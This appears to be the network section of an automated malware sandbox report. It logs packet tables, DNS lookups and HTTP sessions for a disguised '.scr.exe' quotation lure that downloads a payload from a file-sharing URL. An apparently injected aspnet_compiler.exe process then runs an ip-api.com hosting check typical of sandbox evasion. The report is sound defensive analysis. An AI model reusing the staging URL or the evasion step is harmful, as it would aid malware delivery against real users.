Apr 23, 2024 14:44:58.422985077 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422990084 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423005104 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423034906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423038960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423048019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423060894 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423070908 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423099995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423118114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423125029 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423129082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423166990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423177958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423181057 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423187971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423208952 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423228025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423243999 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423243999 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423254013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423269033 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423293114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423293114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423301935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423332930 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423340082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423358917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423367977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423369884 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423384905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423393011 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423423052 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423429966 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423434019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423470020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423474073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423489094 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423506975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423511982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423532009 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423536062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423568010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423578978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423588037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423623085 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423635960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423639059 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423649073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423657894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423664093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423686028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423690081 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423702955 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423711061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423737049 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423749924 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423755884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423773050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423799992 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423804045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423814058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423826933 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423826933 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423867941 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423872948 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423877954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423906088 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423912048 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423933029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423933029 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423940897 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423966885 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.423970938 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423993111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.423995972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424004078 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424021959 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424021959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424063921 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424077988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424082041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424088001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424112082 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424148083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424149990 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424155951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424189091 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424191952 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424206972 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424216032 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424237967 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424242973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424263954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424266100 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424272060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424288988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424288988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424313068 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424316883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424329042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424339056 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424341917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424381018 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424395084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424402952 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424407959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424432039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424460888 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424477100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424599886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424609900 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424618006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424624920 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424638033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424649000 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424664021 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424668074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424689054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424695969 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424710035 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424717903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424727917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424747944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424760103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424761057 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424794912 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424798965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424808025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424820900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424824953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424850941 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424854994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424863100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424875021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424885035 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424899101 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424904108 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424920082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424926043 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424932957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424959898 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.424963951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424978018 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.424993038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425040960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425055981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425057888 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425057888 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425065041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425074100 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425095081 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425101042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425112963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425127983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425132036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425153971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425158024 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425167084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425193071 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425196886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425204039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425215960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425223112 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425263882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425266981 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425271988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425306082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425308943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425326109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425337076 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425350904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425378084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425395012 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425399065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425438881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425441980 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425456047 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425465107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425479889 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425484896 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425504923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425507069 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425513983 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425532103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425535917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425553083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425558090 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425561905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425580978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425585032 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425602913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425607920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425612926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425630093 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425635099 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425654888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425657034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425663948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425681114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425684929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425708055 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425712109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425724030 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425735950 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425740957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425765991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425776958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425786018 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425791025 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425815105 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425823927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425837040 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425848007 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425852060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425875902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425903082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425925016 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425931931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425941944 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425951958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425952911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425966024 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.425980091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.425983906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426009893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426023960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.426026106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426034927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426050901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.426060915 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426073074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426079035 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.426083088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426101923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426104069 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.426142931 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.426146984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426167965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.426201105 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.426614046 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.427186966 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.429413080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:45:52.523544073 CEST	49736	80	192.168.2.4	104.21.13.139
Apr 23, 2024 14:45:53.018330097 CEST	49746	80	192.168.2.4	208.95.112.1
Apr 23, 2024 14:45:53.136383057 CEST	80	49746	208.95.112.1	192.168.2.4
Apr 23, 2024 14:45:53.136615992 CEST	49746	80	192.168.2.4	208.95.112.1
Apr 23, 2024 14:45:53.136806965 CEST	49746	80	192.168.2.4	208.95.112.1
Apr 23, 2024 14:45:53.256021976 CEST	80	49746	208.95.112.1	192.168.2.4
Apr 23, 2024 14:45:53.306196928 CEST	49746	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 14:44:54.184787989 CEST	52550	53	192.168.2.4	1.1.1.1
Apr 23, 2024 14:44:54.291816950 CEST	53	52550	1.1.1.1	192.168.2.4
Apr 23, 2024 14:44:55.738305092 CEST	50369	53	192.168.2.4	1.1.1.1
Apr 23, 2024 14:44:55.846015930 CEST	53	50369	1.1.1.1	192.168.2.4
Apr 23, 2024 14:45:52.897466898 CEST	50801	53	192.168.2.4	1.1.1.1
Apr 23, 2024 14:45:53.002528906 CEST	53	50801	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 14:44:54.184787989 CEST	192.168.2.4	1.1.1.1	0x6723	Standard query (0)	filetransfer.io	A (IP address)	IN (0x0001)	false
Apr 23, 2024 14:44:55.738305092 CEST	192.168.2.4	1.1.1.1	0xb6f3	Standard query (0)	s22.filetransfer.io	A (IP address)	IN (0x0001)	false
Apr 23, 2024 14:45:52.897466898 CEST	192.168.2.4	1.1.1.1	0x6e70	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 14:44:54.291816950 CEST	1.1.1.1	192.168.2.4	0x6723	No error (0)	filetransfer.io	104.21.13.139	A (IP address)	IN (0x0001)	false
Apr 23, 2024 14:44:54.291816950 CEST	1.1.1.1	192.168.2.4	0x6723	No error (0)	filetransfer.io	172.67.200.96	A (IP address)	IN (0x0001)	false
Apr 23, 2024 14:44:55.846015930 CEST	1.1.1.1	192.168.2.4	0xb6f3	No error (0)	s22.filetransfer.io	104.21.13.139	A (IP address)	IN (0x0001)	false
Apr 23, 2024 14:44:55.846015930 CEST	1.1.1.1	192.168.2.4	0xb6f3	No error (0)	s22.filetransfer.io	172.67.200.96	A (IP address)	IN (0x0001)	false
Apr 23, 2024 14:45:53.002528906 CEST	1.1.1.1	192.168.2.4	0x6e70	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

filetransfer.io

s22.filetransfer.io

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.21.13.139	80	5356	C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 14:44:54.403248072 CEST	95	OUT	GET /data-package/aPtWC5T9/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Apr 23, 2024 14:44:54.734833002 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 23 Apr 2024 12:44:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/aPtWC5T9/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ibr1mN5bNQIfT53MxXQJv07tywcrJ3Ae%2BmVXg8FSudFxPqI%2F%2BH2QKNQWsEnQ0h9I2ITXwPboJY1ArLzCP7yji5JMn3OHIcgo%2Bwe%2Fu73F5bRma85QlH5%2BiYsNOMrwAoBAxfQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878df2985ed16782-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Apr 23, 2024 14:44:54.734872103 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	208.95.112.1	80	7700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 14:45:53.136806965 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 23, 2024 14:45:53.256021976 CEST	174	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 12:45:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.21.13.139	443	5356	C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 12:44:55 UTC	95	OUT	GET /data-package/aPtWC5T9/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-04-23 12:44:55 UTC	1051	IN	HTTP/1.1 302 Found Date: Tue, 23 Apr 2024 12:44:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=oh1n5n3g82js5n44tbobj9n913; expires=Tue, 07-May-2024 12:44:55 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s22.filetransfer.io/storage/download/fNtpaSFzWEzZ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hy%2B1wtVmMxGwQKekRkOULXXyJ%2BOnZuPv9Yn2QGbiE1079N26Cg0OJPTHfyGC9vFoFEczA7j6HCTsGWXeUjICowHcPZ8XMtTt14VLfsjrSyNgldZPfNYnWOGuTosfGn5lgLw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878df29ccee253f6-ATL alt-svc: h3=":443"; ma=86400
